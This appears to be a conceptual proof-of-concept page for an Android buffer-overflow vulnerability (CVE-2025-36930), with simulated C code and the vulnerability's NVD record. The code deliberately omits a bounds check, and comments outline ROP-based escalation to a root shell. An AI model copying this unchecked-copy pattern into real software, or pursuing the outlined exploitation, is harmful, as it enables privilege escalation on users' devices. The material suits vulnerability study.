CVE-2025-36930

// CVE-2025-36930 PoC - Buffer overflow in GetHostAddress of gxp_buffer.h // This is a conceptual PoC demonstrating the vulnerability pattern #include <stdio.h> #include <string.h> #include <stdlib.h> // Simulated vulnerable function (original code in gxp_buffer.h) void GetHostAddress(char* buffer, size_t buffer_size, const char* input) { // VULNERABLE: Missing bounds check before writing to buffer size_t input_len = strlen(input); // This write can overflow if input_len > buffer_size // The original code lacks proper validation: // if (input_len >= buffer_size) return ERROR; memcpy(buffer, input, input_len); // Out of bounds write occurs here buffer[input_len] = '\0'; } int main() { char target_buffer[64]; char malicious_input[256]; // Prepare malicious input larger than target buffer memset(malicious_input, 'A', sizeof(malicious_input) - 1); malicious_input[sizeof(malicious_input) - 1] = '\0'; printf("Triggering CVE-2025-36930 - Buffer overflow in GetHostAddress\n"); printf("Buffer size: %zu bytes, Input size: %zu bytes\n", sizeof(target_buffer), strlen(malicious_input)); // Trigger the vulnerable function GetHostAddress(target_buffer, sizeof(target_buffer), malicious_input); // If we reach here, the overflow may have corrupted memory printf("Overflow triggered - check for privilege escalation\n"); return 0; } /* * Notes for exploitation: * 1. Attacker needs local access to the Android device * 2. Target the gxp_buffer.h GetHostAddress function * 3. Overflow should overwrite adjacent memory structures * 4. Use techniques like ROP to achieve code execution * 5. Escalate from low-privilege app to root shell */

{"cve": {"id": "CVE-2025-36930", "sourceIdentifier": "[email protected]", "published": "2025-12-11T20:15:57.580", "lastModified": "2025-12-12T17:35:51.100", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In GetHostAddress of gxp_buffer.h, there is a possible out of bounds write due to a missing bounds check. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-120"}, {"lang": "en", "value": "CWE-787"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:google:android:-:*:*:*:*:*:*:*", "matchCriteriaId": "F8B9FEC8-73B6-43B8-B24E-1F7C20D91D26"}]}]}], "references": [{"url": "https://source.android.com/security/bulletin/pixel/2025-12-01", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}